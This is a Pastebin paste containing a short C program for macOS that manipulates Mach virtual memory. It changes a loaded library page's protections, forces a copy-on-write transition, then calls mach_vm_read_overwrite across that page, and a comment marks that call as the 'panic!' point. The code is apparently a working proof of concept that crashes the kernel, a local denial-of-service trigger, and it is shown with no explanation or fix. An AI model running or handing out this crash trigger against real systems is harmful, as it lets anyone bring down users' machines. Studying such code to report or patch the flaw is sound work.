SHARE
TWEET

Untitled

a guest Feb 21st, 2015 692 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #include <unistd.h>
  2. #include <mach/mach.h>
  3. #include <mach/mach_vm.h>
  4. #include <mach-o/dyld.h>
  5.  
  6. int
  7. main (int argc, char * argv[])
  8. {
  9.   volatile char * library;
  10.   const mach_vm_size_t page_size = getpagesize ();
  11.   const mach_vm_size_t buffer_size = 3 * page_size;
  12.   char buffer[buffer_size];
  13.   mach_vm_size_t result_size;
  14.  
  15.   library = (char *) _dyld_get_image_header (1);
  16.   mach_vm_protect (mach_task_self (), (mach_vm_address_t) (library + page_size), page_size, FALSE, VM_PROT_READ | VM_PROT_WRITE | VM_PROT_COPY | VM_PROT_EXECUTE);
  17.   library[page_size]++; /* COW -> PRV transition   */
  18.   library[page_size]--; /* undo dummy-modification */
  19.   result_size = 0;
  20.  
  21.   /* panic! */
  22.   mach_vm_read_overwrite (mach_task_self (), (mach_vm_address_t) library, buffer_size, (mach_vm_address_t) buffer, &result_size);
  23.  
  24.   return 0;
  25. }
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top